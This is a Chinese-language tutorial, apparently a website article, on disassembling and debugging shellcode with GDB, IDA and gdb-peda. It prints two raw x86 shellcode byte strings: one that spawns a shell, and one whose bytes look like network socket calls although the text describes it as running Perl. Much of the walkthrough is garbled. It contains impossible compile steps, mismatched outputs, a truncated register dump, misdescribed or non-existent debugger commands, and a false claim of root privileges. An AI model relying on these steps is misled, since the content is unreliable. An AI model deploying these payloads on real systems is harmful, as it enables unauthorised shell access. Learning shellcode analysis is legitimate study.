让我来介绍一下关于“浅析shellcode 反汇编模拟运行及调试方法”的完整攻略。
1. 背景介绍
首先,让我们来了解一下什么是shellcode。shellcode指的是一个用于利用计算机系统的漏洞或开发后门的一段二进制代码。一般情况下,这个shellcode由黑客手动编写,并通过某个手段传送到受害机器上去执行。为了成功执行shellcode,黑客们通常会进行一系列针对代码和系统的分析。而本文要讨论的就是如何通过反汇编模拟运行和调试来实现对shellcode的分析。
2. 反汇编模拟运行
反汇编是一种将机器码转换成汇编语言的过程。在对shellcode进行分析时,我们需要将其反汇编为汇编语言。常见的反汇编工具包括GDB和IDA。
2.1 GDB反汇编
GDB是一款非常常用的GNU调试器。可以用GDB来反汇编已有的二进制文件,或者通过GDB也可以反汇编已有的内存。
在通过GDB对shellcode进行反汇编时,我们可以使用以下命令:
gdb
file shellcode
disassemble
其中,file命令用来打开目标文件,disassemble命令用来将给定函数反汇编后输出其汇编指令。一般情况下,通过GDB进行反汇编的操作比较基础,主要是用来初步了解shellcode的功能和代码结构。
2.2 IDA反汇编
IDA是一款非常强大的反汇编工具,可以将二进制文件反汇编为高级语言伪代码,方便分析者理解和阅读。一般情况下,通过IDA对shellcode进行反汇编的操作比较复杂,需要分析者拥有一定的汇编和逆向工程知识。
在通过IDA对shellcode进行反汇编时,我们需要使用以下步骤:
- 打开IDA,选择File > Open,将目标文件打开。
- 选择Options > General > Processor Type,选择正确的处理器类型。
- 选择View > Open Subviews > Strings,以便能够在伪代码中看到字符串。
- 在IDA中分析代码,查看反汇编结果。
需要注意的是,IDA的使用需要一些逆向工程知识。针对于shellcode的分析,我们需要学习一些汇编语法和函数调用方面的知识,以便能够准确地理解反汇编结果。
3. 调试的方法
通过反汇编,我们能够对shellcode的结构和功能有一定的了解。但在实际分析过程中,我们还需要对shellcode进行调试,以便了解其执行过程中每个指令的具体执行情况。
3.1 使用GDB调试
在通过GDB对shellcode进行调试时,我们可以在其中设置断点,单步执行,查看寄存器的值等等。常见的调试命令如下:
- break main - 在主函数处设置断点。
- run - 运行程序。
- step - 单步调试,即一条一条地执行。
- next - 单步调试,但是不过深入函数内部。
- continue - 继续运行程序,直到下一个断点或者程序结束。
- info registers - 查看CPU寄存器的值。
- x/10x $esp - 查看栈中10个字节的值。
3.2 使用gdb-peda调试
gdb-peda是一个针对GDB的Python脚本,提供了很多方便的调试命令,可以帮助分析者更方便地分析和调试shellcode。
在通过gdb-peda对shellcode进行调试时,我们可以使用以下命令:
- peda shellcode - 将shellcode汇编成二进制数据,在内存中查看。
- peda asm - 将汇编代码汇编成二进制数据,在内存中查看。
- peda display /i $eip - 每次操作时都显示eip寄存器值。
- peda pattern create 1024 - 生成1024字节的模式字符串,用于寻找shellcode中的字符溢出等问题。
- peda pattern search - 在寻找溢出等问题时,可以使用这个命令。
- peda searchmem /x 90 90 90 - 查找内存中是否存在NOP指令。
- peda runarg - 将shellcode以参数的形式传递给程序并运行。
- peda vmmap - 查看进程的内存状态。
4.示例
下面提供两个使用GDB对shellcode进行调试的示例:
4.1 示例1
通过GDB调试以下这段shellcode:
"\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
该shellcode是一个C程序调用的execve("/bin/bash"),用于创建一个能够以root权限执行的bash shell。我们可以通过以下步骤来调试该shellcode:
-
使用vim或者其他文本编辑器将上述shellcode写入名为"shellcode"的文件中。
-
使用gcc编译该文件为可执行文件:
gcc -z execstack -o shell shellcode
-z execstack
参数需要被加入,以允许栈处能够执行代码。
- 执行程序:
./shell
程序会提示Permission denied.
- 使用GDB运行程序:
gdb shell
- 设置断点:
breakpoint main
- Run程序:
run
程序执行到breakpoint,同时我们也可以看到程序在输出"Permission denied"之前停留。
```
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xbffff0d8 --> 0xb7ff1000 --> 0x464c457f
ECX: 0x1
EDX: 0xbffff114 --> 0xbffff125 ("./shell")
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xbffff0d8 --> 0xb7ff1000 --> 0x464c457f
EIP: 0x80483b1 (
EFLAGS: 0x282 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
[------------------------------------------------------------------------------]
gdb-peda$ x/10i $eip
=> 0x80483b1
0x80483b2
0x80483b4
0x80483b5
0x80483ba
0x80483bf
0x80483c1
0x80483c2
0x80483c4
0x80483c5
0x80483c6
0x80483c8
gdb-peda$
```
通过以上操作,我们可以在主函数的pop指令处设置断点,并可以查看其前后的汇编代码。
- 继续执行程序:
continue
程序输出"Sorry I have to leave you"等内容,退出程序。
4.2 示例2
通过下列尝试使用gdb-peda调试一个shellcode:
"\x31\xc0\x89\xc3\x6a\xb0\x66\xb3\x01\x68\x04\xd2\xc7\x4d\x66\x68\x01\x01\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\x89\xc2\x31\xc0\x6a\x66\x58\x52\x42\x89\xd3\x6a\x02\x89\xe1\xcd\x80\x31\xc0\x50\x50\x89\xe1\x89\xc6\x68\x3f\x8f\x04\x08\x51\x56\x89\xe1\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x04\xcd\x80"
这个shellcode是在启动时执行一些Perl代码,然后调用execve()执行一个shell。
以下是我们可以使用gdb-peda进行调试的步骤:
- 和第一个示例类似,我们需要使用vim或其他文本编辑器将上述代码写入文件中,并通过gcc进行编译,使用如下命令:
gcc -z execstack -mpreferred-stack-boundary=2 -o shell shellcode
该命令将结果存入名为"shell"的可执行文件中。
- 使用gdb-peda打开程序:
gdb -q shell
使用"-q"参数表示进入"quiet"模式。
- 反汇编代码,并将shellcode输出到内存中:
disassemble main
peda shellcode
- 运行程序并查看结果:
run
- 查看程序mmap和内存状态:
peda vmmap
peda searchmem 0x08048f3f
- 设置断点并进行调试:
break *main+38
continue
可以使用多个gdb-peda命令调试程序:
peda x $eip
peda x/10i $eip
peda si
peda nexti
最后,我们可以使用"q"命令来退出调试器:
q
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:浅析shellcode 反汇编模拟运行及调试方法 - Python技术站